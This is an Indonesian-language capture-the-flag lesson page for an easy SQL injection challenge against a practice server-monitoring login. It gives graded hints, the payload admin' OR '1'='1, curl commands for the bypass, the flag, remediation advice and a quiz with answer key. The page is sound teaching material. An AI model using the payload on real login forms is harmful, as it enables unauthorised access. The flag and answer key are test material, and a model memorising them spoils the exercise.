[ SOAL · CONTOH FORMAT LMS ] Portal Pemantauan Server¶
Ini contoh standar bagaimana setiap write-up diubah jadi halaman soal interaktif (format hybrid): pemula mencoba dulu → dibantu hint bertahap → baru buka solusi → lalu refleksi. Patokan untuk konversi seluruh arsip.
🎯 Info Soal¶
| Track | 🌐 Web Exploitation |
| Kesulitan | Easy (Week 1) |
| Poin | 100 |
| Prasyarat | F7 (Web/HTTP), F4 (Linux dasar) |
| Teknik | SQL Injection (auth bypass) |
📖 Narasi¶
Sebuah portal pemantauan server punya halaman Login Administrator. Tim menduga: "Akses tidak sah seringkali bukan soal kata sandi yang lemah, melainkan logika yang cacat." Temukan flag di balik panel admin.
🔗 Target latihan: (instance akan disediakan di platform)
🧪 Coba Dulu Sendiri (5–15 menit)¶
Sebelum lihat hint, coba jawab pertanyaan ini di kepalamu: 1. Di mana titik input yang berinteraksi dengan database? (ingat F7) 2. Apa yang terjadi kalau input "merusak" struktur query SQL? 3. Bagaimana membuat kondisi login selalu bernilai benar?
💡 Ingat metodologi F13: Pahami → Recon → Hipotesis → Eksploitasi → Flag.
🪜 Hint Bertahap¶
Buka satu per satu hanya saat benar-benar buntu.
Hint 1 — Mulai dari mana?
Lakukan **recon** dulu. Lihat halaman utama: cek **komentar HTML** & link nav. Sering ada endpoint tersembunyi seperti `/auth/login.php`.Hint 2 — Apa kelemahannya?
Form login mengirim `username` & `password` ke server, lalu kemungkinan dipakai di query seperti:SELECT * FROM users WHERE username='$user' AND password='$pass'
Hint 3 — Payload-nya
Buat kondisi `WHERE` selalu TRUE. Coba isi username dengan:admin' OR '1'='1
Hint 4 — Setelah "login"?
Login sukses biasanya **redirect (302)** ke panel admin + memberi **cookie sesi**. Pakai cookie itu untuk mengakses `/admin/panel.php` dan baca isinya.✅ Solusi Lengkap¶
🔓 Buka solusi (coba dulu, ya!)
**1) Recon** — homepage membocorkan endpoint via komentar:<!-- /auth/login.php -->
curl -sk -i -c cookie.txt https://TARGET/auth/login.php \
--data-urlencode "username=admin' OR '1'='1" \
--data-urlencode "password=x"
HTTP/1.1 302 Found
Location: /admin/panel.php
Set-Cookie: PHPSESSID=...
SELECT * FROM users WHERE username='admin' OR '1'='1' AND password='x'
curl -sk -b cookie.txt https://TARGET/admin/panel.php
# <div class="flag-box">flag{sql1_byp4ss_4dm1n_p4n3l}</div>
🛰️ Kacamata Intelijen Siber¶
SQLi auth bypass = contoh klasik "logika cacat": penyerang tak menebak password, tapi merusak asumsi developer. Analis belajar: jangan percaya input, dan periksa bagaimana data dipakai, bukan hanya apa isinya.
🛡️ Pelajaran & Remediasi (sisi Blue/Purple)¶
- Prepared statements / parameterized query — jangan rangkai input ke SQL.
- Simpan password sebagai hash (bcrypt/argon2), verifikasi di kode.
- Kontrol akses panel admin harus bergantung sesi sah, bukan sekadar query sukses.
- Input validation + WAF + akun DB least-privilege.
🧠 Uji Pemahaman¶
1. Kenapa payload admin' OR '1'='1 membuat login berhasil?
2. Apa satu perbaikan paling efektif untuk mencegah SQLi?
3. Setelah login bypass, apa yang dipakai untuk mengakses panel admin?
🔑 Kunci
1. Tanda kutip menutup string username lalu `OR '1'='1'` membuat kondisi `WHERE` selalu TRUE → baris user ditemukan tanpa password benar. 2. **Prepared statements / parameterized queries** (memisahkan kode SQL dari data). 3. **Cookie sesi** (`PHPSESSID`) yang diberikan saat login sukses.LIGHTSIBER · Contoh format soal (hybrid) · turunan dari W1-C1.